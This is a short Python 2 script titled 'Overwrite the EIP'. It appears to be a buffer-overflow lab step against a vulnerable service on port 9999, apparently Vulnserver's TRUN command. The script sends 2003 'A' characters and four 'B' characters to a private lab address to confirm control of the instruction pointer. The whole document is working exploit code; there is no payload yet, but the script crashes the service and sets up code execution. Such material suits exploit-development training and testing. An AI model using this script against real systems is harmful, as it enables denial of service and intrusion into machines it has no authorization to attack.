Overwrite the EIP

#!/usr/bin/python
 
import sys, socket

shellcode = "A" * 2003 + "B" * 4
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('10.10.10.129',9999))
        s.send(('TRUN /.:/' + shellcode))
        s.close()

except:
        print "Error connecting to server"
        sys.exit()